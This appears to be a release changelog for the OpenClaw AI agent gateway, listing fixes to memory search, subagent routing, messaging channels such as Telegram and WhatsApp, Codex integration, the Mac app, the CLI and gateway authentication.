• Memory/QMD: keep lexical search on raw hyphenated queries while normalizing semantic QMD sub-searches, avoiding fallback to the builtin index for dashed identifiers and dates. Fixes #81328.
• Memory-core: distinguish sqlite-vec load failures from missing semantic vector embeddings in degraded memory index warnings, so vector recall diagnostics point at unresolved dimensions instead of blaming sqlite-vec when the store is ready. Fixes #75624. (#83056) Thanks @xuruiray and @Noah3521.
• Agents/subagents: preserve sandbox-peer controller ownership while routing completion announcements back to the originating run session, keeping subagent control and completion delivery scoped correctly. Fixes #80201. (#80242) Thanks @Jerry-Xin.
• Gateway: continue restarting remaining channels when one hot-reload channel restart fails, while still reporting aggregate reload failure and rolling back plugin pre-replace stops. Fixes #83054. Thanks @zqchris.
• Gateway/plugins: bind admin HTTP RPC dispatch to the accepting gateway instance so multi-gateway processes cannot execute plugin HTTP control-plane calls against another live gateway. Fixes #83486. (#83487) Thanks @coygeek.
• Telegram: keep hot-reload restarts from marking polling accounts manually stopped and restart isolated ingress cleanly after worker shutdown, preserving Telegram replies across config reloads. Fixes #83008. (#83410) Thanks @joshavant.
• Telegram/Ollama: pass current Telegram image attachments into native PI/Ollama vision turns so live photo prompts reach Ollama as native images. Fixes #83023. (#83516) Thanks @joshavant.
• Gateway/secrets: split the lightweight secrets runtime state and auth-store cache from the full secrets runtime and take a startup fast path when the gateway startup config has no SecretRef values, speeding up secrets startup while preserving cleanup and refresh semantics.
• Codex app-server: rotate oversized native Codex threads before resume and cap dynamic tool-result text entering native Codex sessions, preventing stale oversized context from surviving OpenClaw compaction. (#82981) Thanks @hansolo949.
• Gateway/restart: drain pending replies and active chat runs during restart shutdown before sockets and channels close, aborting timed-out chat runs through the normal cleanup path. (#69121) Thanks @alexlomt.
• Agents/Codex: use the Codex runtime context window for OpenAI-model preflight compaction and memory flush checks, so GPT-5.5 Codex sessions compact before hitting the smaller native context limit. Fixes #82982. Thanks @vliuyt.
• QA-Lab: clean orphaned gateway temp roots when a suite parent exits and wait on gateway plus transport readiness after config restarts, reducing stale qa-channel noise from interrupted runs. Fixes #65506. Thanks @100yenadmin.
• QA-Lab: wake qa-bus long polls that arrive with stale future cursors after a bus restart, preserving reconnect readiness for harness clients. (#67142) Thanks @hxy91819.
• QA-Lab: stage Multipass transfer scripts under OpenClaw's preferred temp root instead of raw OS temp paths, keeping the VM runner inside temp-path guardrails. (#64098) Thanks @ImLukeF.
• Agents/replies: keep surviving reply media and append a warning when other media references fail, so partial media normalization no longer drops failures silently. Thanks @Jerry-Xin.
• Config/models: accept thinkingFormat: "together" in model compat config so Together routes can opt into the Together-specific thinking response shape.
• Plugins/tokenjuice: bump the bundled tokenjuice runtime to 0.7.1, bringing Codex hook approval compatibility, pre-tool command wrapping fixes, and Rolldown/Vitest output compaction improvements into the OpenClaw plugin.
• Agents/OpenAI: stop post-processing GPT-5 final replies with hardcoded brevity caps, preserving full channel responses instead of appending synthetic ellipses, and log when strict-agentic GPT-5 execution activates. Fixes #82910.
• Mac app: refine the Settings General and Connection panes with cleaner status panels, card rows, and a single native titlebar sidebar toggle.
• Agents/media: deliver failed async image, music, and video generation completions directly when requester-session completion handoff fails, so channel users see provider errors instead of silent fallback stalls.
• Browser/CDP: keep loopback proxy bypass active across both NO_PROXY casings and redact home-relative Chrome MCP profile paths in attach-failure diagnostics.
• Agents/music: steer song, jingle, beat, anthem, and instrumental requests toward music_generate audio creation instead of lyric-only replies, and reserve lyrics for exact sung words.
• Codex app-server: record native Codex tool calls and results into trajectory artifacts so debug/trajectory exports capture the full Codex-native tool history, not just OpenClaw-bridged turns. Thanks @vyctorbrzezowski.
• Codex/app-server: keep bound conversation sessions on the owning agent runtime so native Codex control and follow-up turns do not fall back to the default agent client. Fixes #82954. (#82993)
• CLI/infer: run gateway model probes in fresh explicit sessions so one-shot provider checks do not inherit default agent transcript state. (#82861) Thanks @Kaspre.
• Providers/Together: send video-generation requests to Together's v2 video API even when shared text-model config still points at the v1 base URL. (#82992)
• Browser CLI: preserve browser-level options on nested commands, skip option values during lazy command registration, and keep long-running wait/download/dialog hooks open for their advertised wait window.
• CLI/sessions: accept openclaw sessions list as an alias for openclaw sessions, matching other list-style commands. Fixes #81139. (#81163) Thanks @YB0y.
• Channels/stream previews: widen compact progress draft lines and cut prose at word boundaries while preserving command/path suffixes, with streaming.progress.maxLineChars for channel-specific tuning.
• CLI/plugins: have openclaw plugins doctor warn when a configured runtime needs a missing owner plugin, sharing the same install mapping as openclaw doctor --fix. Fixes #81326. (#81674) Thanks @Zavianx.
• Agents/Codex: route OpenAI runs that resolve to openai-codex through the Codex provider and bootstrap OpenClaw's stored OAuth profile into the Codex harness when the harness owns transport, so openai/* model refs no longer fail with No API key found for openai-codex despite an existing Codex OAuth profile. (#82864) Thanks @ragesaq.
• Agents/ACP: distinguish prompt-submitted and runtime-active child stalls from true interactive waits, including redacted proxy-env diagnostics for Codex ACP no-output runs. Fixes #44810.
• Agents/memory: explain that memory-triggered compaction exposes only read and append-only write when configured core tools are unavailable in tools.allow warnings. Fixes #82941. Thanks @galiniliev.
• Agents/OpenAI: preserve deterministic tool payload ordering for prompt-cache reuse across OpenAI Responses and chat completions calls. (#82940) Thanks @galiniliev.
• ACP/Codex: honor terminal ACP turn results so failed Codex/acpx runs are not recorded as successful after only progress text. Fixes #79522. Thanks @dudaefj.
• Telegram: warn when a media group drops photos that fail to download, including albums where every photo is skipped. Fixes #55216. (#82987) Thanks @eldar702.
• Agents/skills: apply the full effective tool policy pipeline to inline command-dispatch: tool skill dispatch before owner-only filtering, preserving configured allow, deny, sandbox, sender, group, and subagent restrictions. (#78525)
• Codex: avoid spawning native hook relay subprocesses for post-tool/finalize events with no registered hook handlers while preserving pre-tool safety and approval relays. Fixes #76552. (#78004) Thanks @evgyur.
• Channel accounts: keep top-level default channel accounts visible when named accounts are added alongside default credential material, so mixed legacy/new account configs keep resolving default instead of silently dropping it.
• Agents/CLI: reject empty successful CLI subprocess replies as empty_response and keep them out of shared auth-profile health, so blank Claude CLI results no longer become green no-payload turns. Fixes #83231. (#83421) Thanks @joshavant.
• Codex/Telegram: synthesize native Codex tool progress from final turn snapshots so Telegram /verbose stays visible when command events arrive only at completion.
• Codex/Telegram: deliver Codex verbose tool summaries in direct message-tool-only turns while suppressing message-send and activity-log noise. (#83186) Thanks @kurplunkin.
• Mac app: make Channels settings open faster by deferring config-schema work, avoiding startup channel probes, caching decoded channel status rows, and showing only compact quick settings instead of the full generated channel schema.
• Control UI: include the Control UI and Gateway protocol versions in protocol-mismatch errors so stale app/dashboard pairings identify which side needs rebuilding or restarting.
• Gateway/protocol: restore Gateway WS protocol v4 and keep message.action room-event metadata on the existing inboundTurnKind wire field while preserving internal inbound-event classification.
• Agents/tools: prefer non-webchat session-key routes when the message tool has stale webchat context, so message-tool-only replies keep delivering to the originating channel. Fixes #82911. (#83004) Thanks @joshavant.
• Channels: keep direct-message last-route writes on isolated per-channel-peer sessions instead of contaminating the agent main session with channel delivery context. Fixes #36614. Thanks @aspenas.
• Mac app: move the Settings sidebar toggle into the native titlebar and tighten the General pane width.
• Mac app: keep visited Settings panes mounted so switching tabs no longer blanks and reloads their content.
• Mac app: make Config settings open from shallow schema lookups and load selected paths on demand instead of fetching and rendering the full generated config schema up front.
• Codex: sanitize inline image payloads before Codex app-server and OpenAI Responses replay, and clear poisoned Codex thread bindings after invalid image errors. Fixes #82878.
• Providers/GitHub Copilot: request identity-encoded Copilot API responses across token exchange, catalog, model calls, usage, and embeddings so compressed Business-account error payloads no longer reach JSON parsers as gzip bytes. Fixes #82871. Thanks @tonyfe01.
• Telegram: redact nested raw-update identifiers and user metadata before verbose raw update logging, preserving useful update/message ids without exposing chat, user, command, or profile details. (#82945) Thanks @galiniliev and @joshavant.
• Telegram: preserve replied-to bot messages, captions, and media metadata in group reply chains so follow-up replies understand what the user is reacting to. (#82863)
• Providers/Together: update PI runtime packages to 0.74.1 and emit Together-style reasoning.enabled/max_tokens controls for reasoning-capable OpenAI-completions models.
• Agents/diagnostics: split slow embedded-run attempt-dispatch startup summaries into workspace, prompt, runtime-plan, and final dispatch subspans so traces identify the delayed setup phase. Fixes #82782. (#82783) Thanks @galiniliev.
• Agents/Codex: flatten nested tool-result middleware blocks into bounded text so successful message sends are no longer replaced with Tool output unavailable due to post-processing error. Fixes #82912. Thanks @joeykrug.
• CLI/media: accept HTTP(S) URLs in openclaw infer image describe --file, fetching remote images through the guarded media path instead of treating URLs as local files. Fixes #82837. (#82854) Thanks @neeravmakwana.
• Agents/subagents: keep session-backed parent runs active when the child wait call times out before the child session has actually settled, so late subagent completions are reconciled instead of being lost. Fixes #82787. Thanks @ramitrkar-hash.
• Control UI: advertise shared Gateway protocol constants in browser connect frames, fixing protocol mismatch handshakes after protocol constant drift. Fixes #82882. Thanks @galiniliev.
• Gateway: add rollback protocol-mismatch diagnostics, including client protocol ranges in Gateway logs and deep status/doctor hints for stale client processes. Fixes #82841. (#82908)
• Agents/subagents: keep successful keep-mode completion payloads pending after final-delivery retry exhaustion, so requester recovery no longer loses final subagent results. Fixes #82583. (#82999) Thanks @joshavant.
• Gateway/auth: allow same-host trusted-proxy callers to use the documented local direct gateway.auth.password fallback after revisiting the #78684 fail-closed policy, while keeping token fallback rejected and forwarded-header requests on the trusted-proxy path. Fixes #82607. (#82953) Thanks @joshavant.
• Agents/subagents: wait for queued completion handoffs to reach the parent transcript before marking them announced, preventing busy parent runs from cleaning up before observing child results. Fixes #82913. (#83039) Thanks @joshavant.
• Agents/subagents: route group/channel subagent completions through message-tool-only handoffs when required and keep active-requester wake failures from dropping completion delivery. Fixes #82803. Thanks @galiniliev, @yozakura-ava, and @moeedahmed.
• Memory-core: scan persisted memory source sessions on startup, comparing on-disk transcripts against the index and marking only missing/newer/resized files dirty for incremental sync. Fixes #82341. (#82341) Thanks @giodl73-repo.
• Telegram: keep the top-level default account in the account list when named accounts or bindings are added alongside top-level credentials, preserving default polling while still letting named-only configs resolve to a single account. Fixes #82794. (#82794) Thanks @giodl73-repo.
• CLI/models: reuse command-scoped plugin metadata across model listing, provider catalog, auth, and synthetic-auth checks, restoring fast openclaw models runs for plugin-heavy installs. Fixes #82881. (#83033) Thanks @joshavant.
• CLI/channels: show configured official external channels such as Discord in openclaw channels list when their plugin package is missing, including the install and doctor repair command instead of reporting no configured channels. Fixes #82813.
• Signal: preserve mixed-case group IDs through routing and session persistence so group auto-replies keep delivering after updates. Fixes #82827.
• Agents/tools: keep the message tool available in embedded runs when it is explicitly allowed through tools.alsoAllow or runtime tool allowlists, so channel plugins with custom reply delivery can still use configured message sends. Fixes #82833. Thanks @cn1313113.
• WhatsApp: honor forced document delivery for outbound image, GIF, and video media so forceDocument/asDocument sends preserve original media bytes instead of using compressed media payloads. (#79272) Thanks @itsuzef.
• WhatsApp: name outbound document attachments from their MIME type when no filename is provided, so PDF and CSV sends arrive as file.pdf and file.csv instead of an extensionless file. Thanks @mcaxtr.
• Process/diagnostics: report active lane blockers in lane wait warnings so queueAhead=0 no longer hides commands waiting behind active work. Fixes #82791. (#82792) Thanks @galiniliev.
• Process/diagnostics: stop counting the active processing turn as queued backlog in liveness warnings so transient max-only event-loop spikes do not surface as gateway warnings.
• Agents/replies: classify provider conversation-state rejections and return a clear message-channel error instead of auto-resetting or falling back to a generic runner failure. (#82616) Thanks @dutifulbob.
• Browser plugin: trust managed Chrome CDP diagnostics when launch HTTP probes race cold-start readiness, avoiding false startup failures. Fixes #82904. (#82986) Thanks @kmanan and @hclsys.
• Android: prompt before replacing a changed Gateway TLS thumbprint, showing the old and new SHA-256 fingerprints so users can accept expected certificate rotations instead of hard failing on pin mismatch. (#83077) Thanks @sliekens.
• CLI/status: render extra gateway-like service diagnostics as warning/info output instead of error output. Fixes #46930. (#82922) thanks @giodl73-repo.
• Agents/failover: classify Moonshot/Kimi exhausted-balance HTTP 429 payloads as billing instead of generic rate limits, preserving billing guidance and fallback behavior. Fixes #43447. (#83079) Thanks @leno23.
• Plugin SDK: bundle openclaw/plugin-sdk/zod into the published package artifact and verify the packed zod subpath stays self-contained, so pnpm global installs can register plugins without a package-local zod symlink. Fixes #78398. (#78515) Thanks @ggzeng.
• Providers/Google: drop compaction-truncated Gemini thought signatures before replay so malformed Base64 no longer aborts the next assistant turn. (#82995) Thanks @wAngByg.
• Gateway/mobile: allow paired iOS and Android clients to refresh same-family OS metadata on authenticated reconnect instead of requiring a new approval. (#83490) Thanks @ngutman.
• WhatsApp: treat upload-file as a supported media send intent by lowering path/URL uploads through the channel's normal send-media transport. (#81883) Thanks @ngutman.
• iOS: end Live Activities when OpenClaw is connected, idle, or disconnected, and show compact attention states for approval-required reconnects. (#83597) Thanks @ngutman.
• Control UI: hide child nav items when collapsing the active sidebar group. Fixes #42167. (#42223) Thanks @Aroool.
• CI/proof: skip the real-behavior-proof gate for private org maintainers by minting a least-privilege (members: read) GitHub App token and checking active membership in the maintainer team, instead of treating author_association=CONTRIBUTOR as definitively external. (#83418) Thanks @RomneyDa.